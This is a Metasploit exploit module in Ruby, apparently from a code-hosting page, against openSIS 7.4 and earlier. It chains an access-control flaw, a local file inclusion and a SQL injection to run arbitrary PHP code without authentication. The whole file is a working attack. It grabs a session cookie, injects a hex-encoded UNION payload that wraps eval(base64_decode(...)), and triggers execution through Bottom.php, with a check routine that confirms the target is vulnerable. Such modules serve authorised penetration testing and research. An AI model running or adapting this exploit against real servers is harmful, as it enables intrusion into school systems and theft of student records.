139 lines
4.3 KiB
Ruby
139 lines
4.3 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'openSIS Unauthenticated PHP Code Execution',
|
|
'Description' => %q{
|
|
This module exploits multiple vulnerabilities in openSIS 7.4 and prior versions
|
|
which could be abused by unauthenticated attackers to execute arbitrary PHP code
|
|
with the permissions of the webserver. The exploit chain abuses an incorrect access
|
|
control issue which allows access to scripts which should require the user to be
|
|
authenticated, and a Local File Inclusion to reach a SQL injection vulnerability which
|
|
results in execution of arbitrary PHP code due to an unsafe use of the eval() function.
|
|
},
|
|
'Author' => 'EgiX',
|
|
'License' => MSF_LICENSE,
|
|
'References' => [
|
|
['URL', 'http://karmainsecurity.com/KIS-2020-06'],
|
|
['URL', 'http://karmainsecurity.com/KIS-2020-07'],
|
|
['URL', 'http://karmainsecurity.com/KIS-2020-08'],
|
|
['CVE', '2020-13381'],
|
|
['CVE', '2020-13382'],
|
|
['CVE', '2020-13383']
|
|
],
|
|
'Privileged' => false,
|
|
'Platform' => ['php'],
|
|
'Arch' => ARCH_PHP,
|
|
'Targets' => [ ['openSIS <= 7.4', {}] ],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => '2020-06-30',
|
|
'Notes' => {
|
|
'Stability' => [ CRASH_SAFE ],
|
|
'SideEffects' => [ CONFIG_CHANGES, IOC_IN_LOGS ],
|
|
'Reliability' => [ REPEATABLE_SESSION ]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [true, 'The base path to the web application', '/'])
|
|
]
|
|
)
|
|
end
|
|
|
|
def exec_php(php_code)
|
|
print_status('Retrieving session cookie')
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path)
|
|
})
|
|
|
|
unless res
|
|
fail_with(Failure::Unreachable, 'Connection failed')
|
|
end
|
|
|
|
session = res.get_cookies
|
|
|
|
unless res.code == 200 && res.body && session =~ /PHPSESSID=([A-Za-z0-9]*);/
|
|
fail_with(Failure::NoAccess, 'Failed to retrieve session cookie')
|
|
end
|
|
|
|
random_title = rand_text_alpha(10)
|
|
random_param = rand_text_alpha(10)
|
|
php_cod = "];eval(base64_decode($_POST[#{random_param}]));die;//\\"
|
|
sql_enc = php_cod.each_byte.map { |b| b.to_s(16) }.join
|
|
sql_inj = "' UNION SELECT 0x#{sql_enc}#"
|
|
|
|
print_status('Injecting malicious SQL into session variable')
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'CpSessionSet.php/index.php'),
|
|
'cookie' => session,
|
|
'vars_post' => { 'title' => random_title, 'course_id' => sql_inj }
|
|
})
|
|
|
|
unless res && res.code == 200 && res.body =~ /#{random_title}/
|
|
fail_with(Failure::NoAccess, 'Failed to call CpSessionSet.php')
|
|
end
|
|
|
|
print_status("Calling ForExport.php to set $_SESSION['_REQUEST_vars']")
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'ForExport.php/index.php'),
|
|
'cookie' => session,
|
|
'vars_post' => {
|
|
'modname' => 'scheduling/MassSchedule.php',
|
|
'modfunc' => 'save',
|
|
'day_start' => rand_text_numeric(1, '0'),
|
|
'month_start' => rand_text_numeric(1, '0'),
|
|
'year_start' => rand_text_numeric(4, '0')
|
|
}
|
|
})
|
|
|
|
unless res && res.code == 200 && res.body =~ /Error in User/
|
|
fail_with(Failure::NoAccess, 'Failed to call ForExport.php')
|
|
end
|
|
|
|
print_status('Executing PHP code by calling Bottom.php')
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'Bottom.php/index.php'),
|
|
'cookie' => session,
|
|
'vars_get' => { 'modname' => 'scheduling/MassSchedule.php', 'modfunc' => 'print' },
|
|
'vars_post' => { random_param => Rex::Text.encode_base64(php_code) }
|
|
}, 1)
|
|
|
|
res
|
|
end
|
|
|
|
def check
|
|
flag = rand_text_alpha(20..30)
|
|
res = exec_php("print '#{flag}';")
|
|
|
|
if res && res.code == 200 && res.body =~ /#{flag}/
|
|
return Exploit::CheckCode::Vulnerable
|
|
end
|
|
|
|
Exploit::CheckCode::Safe
|
|
end
|
|
|
|
def exploit
|
|
exec_php(payload.encoded)
|
|
end
|
|
end
|